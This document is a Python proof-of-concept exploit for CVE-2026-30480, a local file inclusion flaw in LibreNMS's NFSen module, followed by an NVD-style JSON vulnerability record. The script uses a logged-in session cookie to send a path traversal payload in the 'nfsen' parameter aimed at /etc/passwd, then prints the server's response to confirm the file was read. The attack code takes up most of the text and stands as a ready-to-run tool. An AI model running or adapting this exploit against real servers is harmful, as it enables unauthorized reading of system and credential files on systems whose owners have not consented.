CVE-2026-30480

import requests # Target configuration target_url = "http://target-ip/librenms/html/pages/nfsen.inc.php" # Attacker needs valid session cookie (Authentication required: PR:L) session_cookie = "PHPSESSID=attacker_valid_session_id_here" # Headers headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-30480-Scanner/1.0" } # Payload exploiting path traversal in 'nfsen' parameter # Attempting to include a sensitive file (e.g., /etc/passwd or a config file) # Note: The vulnerability description specifies including PHP files, # but LFI often allows reading other file types depending on PHP config. payload_params = { "nfsen": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload_params, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Content (Snippet):") print(response.text[:500]) # Print first 500 chars to verify inclusion else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-30480", "sourceIdentifier": "[email protected]", "published": "2026-04-14T15:16:27.337", "lastModified": "2026-04-17T15:24:57.753", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Local File Inclusion (LFI) vulnerability in the NFSen module (nfsen.inc.php) of LibreNMS 22.11.0-23-gd091788f2 allows authenticated attackers to include arbitrary PHP files from the server filesystem via path traversal sequences in the nfsen parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://github.com/parlakbarann/CVE-2026-30480", "source": "[email protected]"}, {"url": "https://github.com/parlakbarann/CVE-2026-30480", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}